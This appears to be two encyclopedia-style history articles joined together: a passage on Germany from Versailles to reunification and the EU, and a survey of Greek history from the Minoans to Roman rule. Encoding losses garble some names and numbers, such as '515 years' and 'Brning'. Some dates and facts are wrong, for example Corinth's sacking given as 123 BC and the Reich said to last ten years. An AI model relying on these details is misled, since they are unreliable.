          On 28 June 1919 the Treaty of Versailles was signed. Germany was to cede Alsace-Lorraine, Eupen-Malmdy, North Schleswig, and the Memel area. Poland was restored and most of the provinces of Posen and West Prussia, and some areas of Upper Silesia were reincorporated into the reformed country after plebiscites and independence uprisings. All German colonies were to be handed over to the Allies. The left and right banks of the Rhine were to be permanently demilitarised. The industrially important Saarland was to be governed by the League of Nations for 15 years and its coalfields administered by France. At the end of that time a plebiscite was to determine the Saar's future status. To ensure execution of the treaty's terms, Allied troops would occupy the left (German) bank of the Rhine for a period of 515 years. The German army was to be limited to 100,000 officers and men; the general staff was to be dissolved; vast quantities of war material were to be handed over and the manufacture of munitions rigidly curtailed. The navy was to be similarly reduced, and no military aircraft were allowed. Germany and its allies were to accept the sole responsibility of the war, in accordance with the War Guilt Clause, and were to pay financial reparations for all loss and damage suffered by the Allies.


          The humiliating peace terms provoked bitter indignation throughout Germany, and seriously weakened the new democratic regime.


          On 11 August 1919 the Weimar constitution came into effect, with Friedrich Ebert as first President.


          The two biggest enemies of the new democratic order, however, had already been constituted. In December 1918, the German Communist Party (KPD) was founded, followed in January 1919 by the establishment of the German Workers' Party, later known as the National Socialist German Workers' Party (NSDAP). Both parties would make reckless use of the freedoms guaranteed by the new constitution in their fight against the Weimar Republic.


          In the first months of 1920, the Reichswehr was to be reduced to 100,000 men, in accordance with the Treaty of Versailles. This included the dissolution of many Freikorps - units made up of volunteers. Some of them made difficulties. The discontent was exploited by the extreme right-wing politician Wolfgang Kapp. He let the rebelling Freikorps march on Berlin and proclaimed himself Reich Chancellor ( Kapp Putsch). After only four days the coup d'tat collapsed, due to lack of support by the civil servants and the officers. Other cities were shaken by strikes and rebellions, which were bloodily suppressed.


          Faced with animosity from Britain and France and the retreat of American power from Europe, in 1922 Germany was the first state to establish diplomatic relations with the new Soviet Union. Under the Treaty of Rapallo, Germany accorded the Soviet Union de jure recognition, and the two signatories mutually cancelled all pre-war debts and renounced war claims.


          When Germany defaulted on its reparation payments, French and Belgian troops occupied the heavily industrialised Ruhr district (January 1923). The German government encouraged the population of the Ruhr to passive resistance: shops would not sell goods to the foreign soldiers, coal-mines would not dig for the foreign troops, trams in which members of the occupation army had taken seat would be left abandoned in the middle of the street. The passive resistance proved effective, insofar as the occupation became a loss-making deal for the French government. But the Ruhr fight also led to hyperinflation, and many who lost all their fortune would become bitter enemies of the Weimar Republic, and voters of the anti-democratic right. See 1920s German inflation.


          In September 1923, the deteriorating economic conditions led Chancellor Gustav Stresemann to call an end to the passive resistance in the Ruhr. In November, his government introduced a new currency, the Rentenmark (later: Reichsmark), together with other measures to stop the hyperinflation. In the following six years the economic situation improved. In 1928, Germany's industrial production even regained the pre-war levels of 1913.


          On the evening of November 8, 1923, six hundred armed SA men surrounded a beer hall in Munich, where the heads of the Bavarian state and the local Reichswehr had gathered for a rally. The storm troopers were led by Adolf Hitler. Born in 1889 in Austria, a former volunteer in the German army during WWI, now a member of a new party called NSDAP, he was largely unknown until then. Hitler tried to force those present to join him and to march on to Berlin to seize power ( Beer Hall Putsch). Hitler was later arrested and condemned to five years in prison, but was released at the end of 1924 after less than one year of detention.


          The national elections of 1924 led to a swing to the right (Ruck nach rechts). Field Marshal Hindenburg, a supporter of the monarchy, was elected President in 1925.


          In October 1925 the Treaty of Locarno was signed between Germany, France, Belgium, the United Kingdom and Italy, which recognized Germany's borders with France and Belgium. Moreover, Britain, Italy and Belgium undertook to assist France in the case that German troops marched into the demilitarised Rheinland. The Treaty of Locarno paved the way for Germany's admission to the League of Nations in 1926.


          The stock market crash of 1929 on Wall Street marked the beginning of the Great Depression. The effects of the ensuing world economic crisis were also felt in Germany, where the economic situation rapidly deteriorated. In July 1931, the Darmsttter und Nationalbank - one of the biggest German banks - failed, and, in early 1932, the number of unemployed rose to more than 6,000,000.


          In addition to the flagging economy came political problems, due to the inability by the political parties represented in the Reichstag to build a governing majority. In March 1930, President Hindenburg appointed Heinrich Brning Chancellor. To push through his package of austerity measures against a majority of Social Democrats, Communists and the NSDAP, Brning made use of emergency decrees, and even dissolved Parliament. In March and April of 1932, Hindenburg was re-elected in the German presidential election of 1932.


          The NSDAP was the big winner in the national elections of July 1932. It gained 38% of the vote, making it the biggest party in the Reichstag. The Communist KPD came third, with 15%. Together, the anti-democratic parties of right and left were now able to hold the majority of seats in Parliament. The NSDAP was particularly successful among young voters, who were unable to find a place in vocational training, with little hope for a future job; among the petite bourgeoisie (lower middle class) which had lost its assets in the hyperinflation of 1923; among the rural population; and among the army of unemployed. In new elections in November 1932, the NSDAP's share of the vote declined slightly, but it remained the biggest party in the Parliament.


          On January 30, 1933, pressured by former Chancellor Franz von Papen and other conservatives, President Hindenburg finally appointed Hitler Chancellor.


          


          German Reich


          


          Nazi revolution or 'Seizure of Power'


          In order to secure a majority for his NSDAP in the Reichstag, Hitler called for new elections. On the evening of 27 February 1933, a fire was set in the Reichstag building. Hitler swiftly blamed an alleged Communist uprising, and convinced President Hindenburg to sign the Reichstag Fire Decree. This decree, which would remain in force until 1945, repealed important political and human rights of the Weimar constitution. Communist agitation was banned, but at this time not the Communist Party itself.


          Eleven thousand Communists and Socialists were arrested and brought into concentration camps, where they were at the mercy of the Gestapo, the newly established secret police force (9,000 were found guilty and very many executed). Communist Reichstag deputies were taken into protective custody (despite their constitutional privileges).


          Despite the terror and unprecedented propaganda, the last free General Elections of March 5 failed to bring the majority for the NSDAP that Hitler had hoped for. Together with the German National People's Party (DNVP), however, he was able to form a slim majority government. With accommodations to the Catholic Centre Party Germany, Hitler succeeded in convincing a required two-thirds of a rigged Parliament to pass the Enabling act of 1933 which gave his government full legislative power. Only the Social Democrats voted against the Act. The Enabling Act formed the basis for the Dictatorship, dissolution of the Lnder; the trade unions and all political parties other than the National Socialist (Nazi) Party were suppressed. A centralised totalitarian state was established, no longer based on the liberal Weimar constitution. Germany left the League of Nations. The coalition Parliament was rigged on this fateful 23 March 1933 by defining the absence of arrested and murdered deputies as voluntary and therefore cause for their exclusion as wilful absentees. Subsequently in July the Centre Party was voluntarily dissolved in a quid pro quo with the Holy See under the anti-communist Pope Pius XI for the Reichskonkordat; and by these maneuvers Hitler achieved movement of these Catholic voters into the Nazi party, and a long-awaited international diplomatic acceptance of his regime. The Communist Party was proscribed in April 1933 .


          However, many leaders of the Nazi SA were disappointed. The Chief of Staff of the SA, Ernst Rhm, was pressing for the SA to be incorporated into the Wehrmacht under his supreme command. Hitler felt threatened by these plans. On the weekend of June 30, 1934, he gave order to the SS to seize Rhm and his lieutenants, and to execute them without trial (known as the Night of the Long Knives).


          The SS became an independent organisation under the command of the Reichsfhrer SS Heinrich Himmler. He would become the supervisor of the Gestapo and of the concentration camps, soon also of the ordinary police. Hitler also established the Waffen-SS as a separate troop.


          The regime showed particular hostility towards the Jews. In September 1935, the Reichstag passed the so-called Nuremberg race laws directed against Jewish citizens. Jews lost their German citizenship, and were banned from marrying Germans. About 500,000 individuals were affected by the new rules.


          Hitler re-established the German air force and reintroduced universal military service. The open rearmament was in flagrant breach of the Treaty of Versailles, but neither the United Kingdom, France or Italy went beyond issuing notes of protest.


          In 1936 German troops marched into the demilitarised Rhineland. In this case, the Treaty of Locarno would have obliged the United Kingdom to intervene in favour of France. But despite protests by the French government, Britain chose to do nothing about it. The coup strengthened Hitler's standing in Germany. His reputation was going to increase further with the 1936 Summer Olympics, which were held in the same year in Berlin and in Garmisch-Partenkirchen, and which proved another great propaganda success for the regime.


          


          Expansion and defeat


          After establishing the "Rome-Berlin axis" with Mussolini, and signing the Anti-Comintern Pact with Japan - which was joined by Italy a year later in 1937 - Hitler felt able to take the offensive in foreign policy. On 12 March 1938, German troops marched into Austria, where an attempted Nazi coup had been unsuccessful in 1934. When Hitler entered Vienna, he was greeted by loud cheers. Four weeks later, 99% of Austrians voted in favour of the annexation (Anschluss) of their country to the German Reich. Hitler thereby fulfilled the old idea of an all encompassing German Reich with the inclusion of Austria - the "greater Germany" solution that Bismarck had shunned when, in 1871, he united the German-speaking lands under Prussian leadership. Although the annexation denounced the Treaty of Saint-Germain, which expressedly forbade the unification of Austria with Germany, the western powers once again merely protested.


          After Austria, Hitler turned to Czechoslovakia, where the 3.5 million-strong Sudeten German minority was demanding equal rights and self-government. At the Munich Conference of September 1938, Hitler, the Italian leader Benito Mussolini, British Prime Minister Neville Chamberlain and French Prime Minister douard Daladier agreed upon the cession of Sudeten territory to the German Reich by Czechoslovakia. Hitler thereupon declared that all of German Reich's territorial claims had been fulfilled. However, hardly six months after the Munich Agreement, in March 1939, Hitler used the smoldering quarrel between Slovaks and Czechs as a pretext for taking over the rest of Czechoslovakia as the Protectorate of Bohemia and Moravia. In the same month, he secured the return of Memel from Lithuania to Germany. British Prime Minister Chamberlain was forced to acknowledge that his policy of appeasement towards Hitler had failed.


          In six years, the Nazi regime prepared the country for World War II. The Nazi leadership attempted to remove or subjugate the Jewish population of Nazi Germany and later in the occupied countries through forced deportation and, ultimately, genocide now known as the Holocaust. A similar policy applied to the various ethnic and national groups considered subhuman such as Poles , Roma or Russians. These groups were seen as threats to the purity of Germany's Aryan race. There were also many groups, such as the mentally handicapped and those who were physically challenged from birth, which were singled out as being detrimental to Aryan purity. After annexing the Sudetenland border country of Czechoslovakia (October 1938), and taking over the rest of the Czech lands as a protectorate (March 1939), the German Reich and the Soviet Union invaded Poland on first September 1939 predominantly as part of the Wehrmacht operation codenamed Fall Weiss. The invasion of Poland began World War II.
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          By 1941, the Germans were having the upper hand, but the tide turned in December 1941 after the invasion of the Soviet Union stalled in front of Moscow and the USA joined the war. Because of the invasion (see Operation Barbarossa) , the Soviets joined the Allies.The tide turned further after the Battle of Stalingrad. By late 1944, the United States and Great Britain were closing in on Germany in the West, while the Soviets were closing from the East. In May 1945, Nazi Germany collapsed when Berlin was taken over by Soviet and Polish forces. Hitler committed suicide when it seemed inevitable that the Allies would win.


          By September 1945, the German Reich (Which lasted only 10 years) and its Axis partners (Italy and Japan) had been defeated, chiefly by the forces of the Soviet Union, the United States, United Kingdom, France and Canada. Much of Europe lay in ruins, over sixty million people had been killed (most of them civilians), including approximately six million Jews and five million non-Jews in what became known as the Holocaust. World War II resulted in the destruction of Germany's political and economic infrastructure and led directly to its partition, considerable loss of territory (especially in the east), and historical legacy of guilt and shame.
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          Germany since 1945


          Germans frequently refer to 1945 as the Stunde Null (zero hour) to describe the near-total collapse of their country. At the Potsdam Conference, Germany was divided into four military occupation zones by the Allies, see Partitions of Germany; the three western zones would form the Federal Republic of Germany (commonly known as West Germany), while part of the Soviet zone became the German Democratic Republic (commonly known as East Germany), both founded in 1949. West Germany was established as a liberal democratic republic while East Germany became a Communist State under the influence of the Soviet Union. Also in Potsdam, the allies agreed that the provinces east of the Oder and Neisse rivers (the Oder-Neisse line) were transferred to Poland and Russia ( Kaliningrad). The agreement also set forth the abolition of Prussia and the repatriation of Germans living in those territories, and formalized the German exodus from Eastern Europe. In the process of the expulsion millions of these German expellees from the lost pre-1945 German east provinces died, and many suffered from exhaustion and dehydration.
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          In the immediate post-war years the German population lived on near starvation levels, and the Allied economic policy was one of de-industrialisation ( Morgenthau Plan) in order to preclude any future German war-making capability. U.S. policy began to change at the end of 1946 ( Restatement of Policy on Germany), and by mid 1947, after lobbying by the Joint Chiefs of Staff, and Generals Clay and Marshall, the Truman administration finally realized that economic recovery in Europe could not go forward without the reconstruction of the German industrial base on which it had previously been dependent. In July, Truman rescinded on "national security grounds" the punitive JCS 1067, which had directed the U.S. forces of occupation in Germany to "take no steps looking toward the economic rehabilitation of Germany." It was replaced by JCS 1779, which instead stressed that "[a]n orderly, prosperous Europe requires the economic contributions of a stable and productive Germany."


          West Germany eventually came to enjoy prolonged economic growth beginning in the early 1950s ( Wirtschaftswunder). The recovery occurred largely because of the previously forbidden currency reform of June 1948 and to a minor degree by U.S. assistance through Marshall Plan loans. West Germany joined NATO in 1955 and was a founding member of the European Economic Community in 1958 . Across the border, East Germany soon became the richest, most advanced country in the Warsaw Pact, but many of its citizens looked to the West for political freedoms and economic prosperity.


          


          Reunification


          Relations between the two post-war German states remained icy until the West German Chancellor Willy Brandt launched a highly controversial rapprochement with the East European communist states ( Ostpolitik) in the 1970s, culminating in the Warschauer Kniefall on 7 December 1970. Although anxious to relieve serious hardships for divided families and to reduce friction, West Germany under Brandt's Ostpolitik was intent on holding to its concept of "two German states in one German nation." Relations improved, however, and in September 1973, East Germany and West Germany were admitted to the United Nations.


          During the summer of 1989 , rapid changes took place in East Germany, which ultimately led to German reunification. Growing numbers of East Germans emigrated to West Germany via Hungary after Hungary's reformist government opened its borders. Thousands of East Germans also tried to reach the West by staging sit-ins at West German diplomatic facilities in other East European capitals. The exodus generated demands within East Germany for political change, and mass demonstrations in several cities continued to grow.


          Faced with civil unrest, East German leader Erich Honecker was forced to resign in October, and on 9 November, East German authorities unexpectedly allowed East German citizens to enter West Berlin and West Germany. Hundreds of thousands of people took advantage of the opportunity; new crossing points were opened in the Berlin Wall and along the border with West Germany. This led to the acceleration of the process of reforms in East Germany that ended with the German reunification that came into force on 3 October 1990. The reunification of Germany also brought to light civil discontent concerning the racial makeup of Germany. Poet/historian May Ayim brought to light to various perspectives of both the German people and the minorities such as the Afro-German and Afro-Turkish populations. Showing Our Colors (May Opitz, 1992) and Blues in Black and White (Blues in schwarz-weiss) are two published books that contain much of May Ayim's poems and essays along with the work of other Afro-German and German feminist scholars that were inspired by events surrounding the German reunification.


          


          Role in the European Union


          Together with France and other EU states, the new Germany has played the leading role in the European Union. Germany (especially under Chancellor Helmut Kohl) was one of the main supporters of the wish of many East European countries to join the EU. Germany is at the forefront of European states seeking to exploit the momentum of monetary union to advance the creation of a more unified and capable European political, defence and security apparatus. The German chancellor expressed an interest in a permanent seat for Germany in the UN Security Council, identifying France, Russia and Japan as countries that explicitly backed Germany's bid.


          


          Historiography


          A major historiographical debate about the German history concerns the Sonderweg, the alleged special path that separated German history from the normal course of historical development, and whether or not Nazi Germany was the inevitable result of the Sonderweg. Proponents of the Sonderweg theory such as Fritz Fischer point to such events of the Revolution of 1848, the authoritarian of the Second Empire and the continuation of the Imperial elite into the Weimar and Nazi periods. Opponents such as Gerhard Ritter of the Sonderweg theory argue that proponents of the theory are guilty of seeking selective examples, and there was much contingency and chance in German history. In addition, there was much debate within the supporters of the Sonderweg concept as for the reasons for the Sonderweg, and whether or not the Sonderweg ended in 1945.
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        History of Greece


        
          

          The History of Greece traditionally encompasses the study of the Greek people, the areas they ruled historically, and the territory now composing the modern state of Greece.


          The scope of Greek habitation and rule has varied significantly through the ages, and as a consequence the history of Greece is similarly elastic in what it includes. Each era has its own related sphere of interest.


          The first Greeks arrived in Europe some time before 1500 BC, and at its peak, Greek civilization spread from Greece to Egypt and to the Hindu Kush mountains. Since then Greek minorities have remained in former Greek territories (e.g., Turkey, Italy, and Libya, Levant, etc.), and Greek emigrants have assimilated into differing societies across the globe (e.g. North America, Australia, Northern Europe, South Africa etc.). However, today most Greeks live in the modern states of Greece (independent since 1821) and Cyprus (independent since 1960).


          


          Aegean civilization: prehistoric Greece


          The earliest civilization to appear around Greece was the Minoan civilization in Crete, which lasted approximately from 2700 (Early Minoan) BC to 1450 BC, and on the Early Helladic period on the Greek mainland from ca. 2800 BC to 2100 BC.


          Little specific information is known about the Minoans (even the name is a modern appellation, from Minos, the legendary king of Crete). They have been characterized as a pre-Indo-European people, apparently the linguistic ancestors of the Eteo-Cretan speakers of Classical Antiquity, their language being encoded in the undeciphered Linear A script. They were primarily a mercantile people engaged in overseas trade, taking advantage of the land's rich natural resources. Timber at that time was an abundant natural resource that was commercially exploited and exported to nearby lands such as Cyprus, Egypt and the Aegean Islands.


          Although the causes of their demise are uncertain, they were eventually invaded by the Mycenaeans from mainland Greece. Their invasion took place around 1400 BCE, and in conjunction with the Thera eruption, they present a likely scenario for the final end of the Minoan civilization. According to this theory, the Minoan fleet and ports were irrevocably destroyed by the colossal Mediterranean waves. Possible climatic changes affected crops for many years, which in turn could have led to famine and social breakdown. The Mycenaean invaders wrote the final chapter to a civilization that flourished for some 1600 years.


          


          Mycenaean Greece (Bronze Age)


          Mycenaean Greece, also known as Bronze Age Greece, is the Late Helladic Bronze Age civilization of Ancient Greece. It lasted from the arrival of the Greeks in the Aegean around 1600 BC to the collapse of their Bronze Age civilization around 1100 BC. It is the historical setting of the epics of Homer and much other Greek mythology. The Mycenaean period takes its name from the archaeological site Mycenae in the northeastern Argolid, in the Peloponnesos of southern Greece. Athens, Pylos, Thebes, and Tiryns are also important Mycenaean sites.


          Mycenaean civilization was dominated by a warrior aristocracy. Around 1400 BC the Mycenaeans extended their control to Crete, centre of the Minoan civilization, and adopted a form of the Minoan script called Linear A to write their early form of Greek. The Mycenaean era script is called Linear B.


          The Mycenaeans buried their nobles in beehive tombs (tholoi), large circular burial chambers with a high vaulted roof and straight entry passage lined with stone. They often buried daggers or some other form of military equipment with the deceased. The nobility were frequently buried with gold masks, tiaras, armour, and jeweled weapons. Mycenaeans were buried in a sitting position, and some of the nobility underwent mummification.


          Around 1100 BC the Mycenaean civilization collapsed. Numerous cities were sacked and the region entered what historians see as a dark age. During this period Greece experienced a decline in population and literacy. The Greeks themselves have traditionally blamed this decline on an invasion by another wave of Greek people, the Dorians, although there is scant archaeological evidence for this view.


          


          Greek Dark Ages


          The Greek Dark Ages (ca. 1200 BC 800 BC) refers to the period of Greek history from the presumed Dorian invasion and end of the Mycenaean civilization in the 11th century BC to the rise of the first Greek city-states in the 9th century BC and the epics of Homer and earliest writings in alphabetic Greek in the 8th century BC.


          The collapse of the Mycenaean coincided with the fall of several other large empires in the near east, most notably the Hittite and the Egyptian. The cause may be attributed to an invasion of the sea people wielding iron weapons. When the Dorians came down into Greece they also were equipped with superior iron weapons, easily dispersing the already weakened Mycenaeans. The period that follows these events is collectively known as the Greek Dark Ages.


          Archaeology shows a collapse of civilization in the Greek world in this period. The great palaces and cities of the Mycenaeans were destroyed or abandoned. The Greek language ceased to be written. Greek dark age pottery has simple geometric designs and lacks the figurative decoration of Mycenaean ware. The Greeks of the dark age lived in fewer and smaller settlements, suggesting famine and depopulation, and foreign goods have not been found at archaeological sites, suggesting minimum international trade. Contact was also lost between foreign powers during this period, yielding little cultural progress or growth of any sort.


          Kings ruled throughout this period until eventually they were replaced with an aristocracy, then still later, in some areas, an aristocracy within an aristocracyan elite of the elite. Warfare shifted from a focus on cavalry to a great emphasis on infantry. Due to its cheapness of production and local availability, iron replaced bronze as the metal of choice in the manufacturing of tools and weapons. Slowly equality grew among the different sects of people, leading to the dethronement of the various Kings and the rise of the family.


          Families began to reconstruct their past in attempts to link their bloodlines with heroes from the Trojan War, more specifically Heracles. While most of this was legend, some were sorted by poets of the school of Hesiod. Most of these poems are lost, though, but some famous "storywriters", as they were called, were Hecataeus of Miletus and Acusilaus of Argos.


          It is thought that the epics by Homer contain a certain amount of tradition preserved orally during the Dark Ages period. The historical validity of Homer's writings is vigorously disputed; see the article on Troy for a discussion.


          At the end of this period of stagnation, the Greek civilization was engulfed in a renaissance that spread the Greek world as far as the Black Sea and Spain. Writing was relearned from the Phoenicians, eventually spreading north into Italy and the Gauls.


          


          Ancient Greece
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          There are no fixed or universally agreed dates for the beginning or the end of the Ancient Greek period. In common usage it refers to all Greek history before the Roman Empire, but historians use the term more precisely. Some writers include the periods of the Minoan and Mycenaean civilizations, while others argue that these civilizations were so different from later Greek cultures that they should be classed separately. Traditionally, the Ancient Greek period was taken to begin with the date of the first Olympic Games in 776 BC, but most historians now extend the term back to about 1000 BC. The traditional date for the end of the Ancient Greek period is the death of Alexander the Great in 323 BC. The following period is classed as Hellenistic. Not everyone treats the Ancient and Hellenic periods as distinct, however, and some writers treat the Ancient Greek civilization as a continuum running until the advent of Christianity in the third century AD.


          Ancient Greece is considered by most historians to be the foundational culture of Western Civilization. Greek culture was a powerful influence in the Roman Empire, which carried a version of it to many parts of Europe. Ancient Greek civilization has been immensely influential on the language, politics, educational systems, philosophy, art and architecture of the modern world, particularly during the Renaissance in Western Europe and again during various neo-Classical revivals in 18th and 19th century Europe and The Americas.


          The basic unit of politics in Ancient Greece was the polis, sometimes translated as city-state. "Politics" literally means "the things of the polis." Each city was independent, at least in theory. Some cities might be subordinate to others (a colony traditionally deferred to its mother city), some might have had governments wholly dependent upon others (the Thirty Tyrants in Athens was imposed by Sparta following the Peloponnesian War), but the titularly supreme power in each city was located within that city. This meant that when Greece went to war (e.g., against the Persian Empire), it took the form of an alliance going to war. It also gave ample opportunity for wars within Greece between different cities.


          Most of the Greek names known to modern readers flourished in this age. Among the poets, Homer, Hesiod, Pindar, Aeschylus, Sophocles, Euripides, Aristophanes, and Sappho were active. Famous politicians include Themistocles, Pericles, Lysander, Epaminondas, Alcibiades, Philip II of Macedon, and his son Alexander the Great. Plato wrote, as did Aristotle, Heraclitus of Ephesus, Parmenides, Democritus, Herodotus, Thucydides and Xenophon. Almost all of the mathematical knowledge formalized in Euclid's Elements at the beginning of the Hellenistic period was developed in this era.


          Two major wars shaped the Ancient Greek world. The Persian Wars (500448 BC) are recounted in Herodotus's Histories. Ionian Greek cities revolted from the Persian Empire and were supported by some of the mainland cities, eventually led by Athens. (The notable battles of this war include Marathon, Thermopylae, Salamis, and Plataea.)


          In order to prosecute the war, and subsequently to defend Greece from further Persian attack, Athens founded the Delian League in 477 BC. Initially, each city in the League would contribute ships and soldiers to a common army, but in time Athens allowed (and then compelled) the smaller cities to contribute funds so that it could supply their quota of ships. Revolution from the League could be punished. Following military reversals against the Persians, the treasury was moved from Delos to Athens, further strengthening the latter's control over the League. The Delian League was eventually referred to pejoratively as the Athenian Empire.


          In 458 BC, while the Persian Wars were still ongoing, war broke out between the Delian League and the Peloponnesian League, comprising Sparta and its allies. After some inconclusive fighting, the two sides signed a peace in 447 BC.


          That peace, it was stipulated, was to last thirty years: instead it held only until 431 BC, with the onset of the Peloponnesian War. Our main sources concerning this war are Thucydides's History of the Peloponnesian War and Xenophon's Hellenica.


          The war began over a dispute between Corcyra and Epidamnus; the latter was a minor enough city that Thucydides has to tell his reader where it is. Corinth intervened on the Epidamnian side. Fearful lest Corinth capture the Corcyran navy (second only to the Athenian in size), Athens intervened. It prevented Corinth from landing on Corcyra at the Battle of Sybota, laid siege to Potidaea, and forbade all commerce with Corinth's closely situated ally, Megara (the Megarian decree).


          There was disagreement among the Greeks as to which party violated the treaty between the Delian and Peloponnesian Leagues, as Athens was technically defending a new ally. The Corinthians begged Sparta for aid. Fearing the growing might of Athens, and witnessing Athens' willingness to use it against the Megarians (the embargo would have ruined them), Sparta declared the treaty to have been violated and the Peloponnesian War began in earnest.


          The first stage of the war (known as the Archidamian War for the Spartan king, Archidamus II) lasted until 421 BC with the signing of the Peace of Nicias. The Athenian general Pericles recommended that his city fight a defensive war, avoiding battle against the superior land forces led by Sparta, and importing everything needful by maintaining its powerful navy: Athens would simply outlast Sparta, whose citizens feared to be out of their city for long lest the helots revolt. This strategy required that Athens endure regular sieges, and in 430 BC it was visited with an awful plague which killed approximately a quarter of its people, including Pericles. With Pericles gone, less conservative elements gained power in the city and Athens went on the offensive. It captured 300400 Spartan hoplites at the Battle of Pylos. This represented a significant fraction of the Spartan fighting force which the latter decided it could not afford to lose. Meanwhile, Athens had suffered humiliating defeats at Delium and Amphipolis. The Peace of Nicias concluded with Sparta recovering its hostages and Athens recovering the city of Amphipolis.


          Those who signed the Peace of Nicias in 421 BC swore to uphold it for fifty years. The second stage of the Peloponnesian War began in 415 BC when Athens embarked on the Sicilian Expedition to support an ally ( Segesta) attacked by Syracuse and to conquer Sicily. Initially, Sparta was not going to aid its ally, but Alcibiades, the Athenian general who had argued for the Sicilian Expedition, defected to the Spartan cause upon being accused of grossly impious acts and convinced them that they could not allow Athens to subjugate Syracuse. The campaign ended in disaster for the Athenians.


          Athens' Ionian possessions rebelled with the support of Sparta, as advised by Alcibiades. In 411 BC, an oligarchical revolt in Athens held out the chance for peace, but the Athenian navy, which remained committed to the democracy, refused to accept the change and continued fighting in Athens' name. The navy recalled Alcibiades (who had been forced to abandon the Spartan cause after reputedly seducing the wife of Agis II, a Spartan king) and made him its head. The oligarchy in Athens collapsed and Alcibiades proceeded to reconquer what had been lost.


          In 407 BC, Alcibiades was replaced following a minor naval defeat at the Battle of Notium. The Spartan general Lysander, having fortified his city's naval power, won victory after victory. Following the Battle of Arginusae, which Athens won but was prevented by bad weather from rescuing some of its sailors, Athens executed or exiled eight of its top naval commanders. Lysander followed with a crushing blow at the Battle of Aegospotami in 405 BC which virtually destroyed the Athenian fleet. Athens surrendered one year later, ending the Peloponnesian War.


          The war had left devastation in its wake. Discontent with the Spartan hegemony that followed (including the fact that it ceded Ionia and Cyprus to the Persian Empire at the conclusion of the Corinthian War (395387 BC); see Treaty of Antalcidas) induced the Thebans to attack. Their general, Epaminondas, crushed Sparta at the Battle of Leuctra in 371 BC, inaugurating a period of Theban dominance in Greece. In 346 BC, unable to prevail in its ten year war with Phocis, Thebes called upon Philip II of Macedon for aid. Macedon quickly conquered the exhausted cites of Greece. The basic unit of politics from that point was the empire, and the Hellenistic Age had begun.


          


          Hellenistic Greece
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          The Hellenistic period of Greek history begins with the death of Alexander the Great in 323 BC and ends with the annexation of the Greek peninsula and islands by Rome in 146 BC. Although the establishment of Roman rule did not break the continuity of Hellenistic society and culture, which remained essentially unchanged until the advent of Christianity, it did mark the end of Greek political independence. During the Hellenistic period the importance of "Greece proper" (that is, the territory of modern Greece) within the Greek-speaking world declined sharply. The great centres of Hellenistic culture were Alexandria and Antioch, capitals of Ptolemaic Egypt and Seleucid Syria respectively. (See Hellenistic civilization for the history of Greek culture outside of Greece in this period.)
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          Athens and her allies revolted against Macedon upon hearing that Alexander had died, but was defeated within a year in the Lamian War. Meanwhile, a struggle for power broke out among Alexander's generals, which resulted in the break-up of his empire and the establishment of a number of new kingdoms (see the Wars of the Diadochi). Ptolemy was left with Egypt, Seleucus with the Levant, Mesopotamia, and points east. Control of Greece, Thrace, and Anatolia was contested, but by 298 BC the Antigonid dynasty had supplanted the Antipatrid.


          Macedonian control of the Greek city-states was intermittent, with a number of revolts. Athens, Rhodes, Pergamum and other Greek states retained substantial independence, and joined the Aetolian League as a means of defending it. The Achaean League, while nominally subject to the Ptolemies was in effect independent, and controlled most of southern Greece. Sparta also remained independent, but generally refused to join any league.


          In 267 BC Ptolemy II persuaded the Greek cities to revolt against Macedon, in what became the Chremonidean War, after the Athenian leader Chremonides. The cities were defeated and Athens lost her independence and her democratic institutions. This marked the end of Athens as a political actor, although it remained the largest, wealthiest and most cultivated city in Greece. In 225 Macedon defeated the Egyptian fleet at Cos and brought the Aegean islands, except Rhodes, under its rule as well.


          Sparta remained hostile to the Achaeans, and in 227 BC invaded Achaea and seized control of the League. The remaining Acheans preferred distant Macedon to nearby Sparta, and allied with the former. In 222 BC the Macedonian army defeated the Spartans and annexed their citythe first time Sparta had ever been occupied by a foreign power.


          Philip V of Macedon was the last Greek ruler with both the talent and the opportunity to unite Greece and preserve its independence against the ever-increasing power of Rome. Under his auspices the Peace of Naupactus ( 217 BC) brought conflict between Macedon and the Greek leagues to an end, and at this time he controlled all of Greece except Athens, Rhodes and Pergamum.


          In 215 BC, however, Philip formed an alliance with Rome's enemy Carthage. Rome promptly lured the Achaean cities away from their nominal loyalty to Philip, and formed alliances with Rhodes and Pergamum, now the strongest power in Asia Minor. The First Macedonian War broke out in 212, and ended inconclusively in 205, but Macedon was now marked as an enemy of Rome.


          In 202 BC Rome defeated Carthage, and was free to turn her attention eastwards. In 198 the Second Macedonian War broke out for obscure reasons, but basically because Rome saw Macedon as a potential ally of the Seleucids, the greatest power in the east. Philip's allies in Greece deserted him and in 197 he was decisively defeated at the Battle of Cynoscephalae by the Roman proconsul Titus Quinctius Flaminius.


          Luckily for the Greeks, Flaminius was a moderate man and an admirer of Greek culture. Philip had to surrender his fleet and become a Roman ally, but was otherwise spared. At the Isthmian Games in 196, Flaminius declared all the Greek cities free, although Roman garrisons were placed at Corinth and Chalcis. But the freedom promised by Rome was an illusion. All the cities except Rhodes were enrolled in a new League which Rome ultimately controlled, and aristocratic constitutions were favoured and actively promoted.


          


          Roman Period


          Militarily Greece itself declined to the point that the Romans conquered the land ( 187 BC onwards), though Greek culture would in turn conquer Roman life. Although the period of Roman rule in Greece is conventionally dated as starting from the sacking of Corinth by the Roman Lucius Mummius in 123 BC, Macedonia had already come under Roman control with the defeat of its king, Perseus, by the Roman Aemilius Paullus at Pydna in 168 BC. The Romans divided the region into four smaller republics, and in 146 BC Macedonia officially became a Roman province, with its capital at Thessalonica. The rest of the Greek city-states gradually and eventually paid homage to Rome ending their de jure autonomy as well. The Romans left local administration to the Greeks without making any attempt to abolish traditional political patterns. The agora in Athens continued to be the centre of civic and political life.


          Caracalla's decree in 212 AD, the Constitutio Antoniniana, extended citizenship outside of Italy to all free adult males in the entire Roman Empire, effectively raising provincial populations to equal status with the city of Rome itself. The importance of this decree is historical rather than political. It set the basis for integration where the economic and judicial mechanisms of the state could be applied throughout the entire Mediterranean as was once done from Latium into all of Italy. In practice of course, integration did not take place uniformly. Societies already integrated with Rome, such as Greece, were favored by this decree, in comparison with those far away, too poor or just too alien such as Britain, Palestine or Egypt.


          Caracalla's decree did not set in motion the processes that lead to the transfer of power from Italy and the West to Greece and the East, but rather accelerated them, setting the foundations for the rise of Greece as a major power in Europe and the Mediterranean in the Middle Ages.


          


          Byzantine Empire


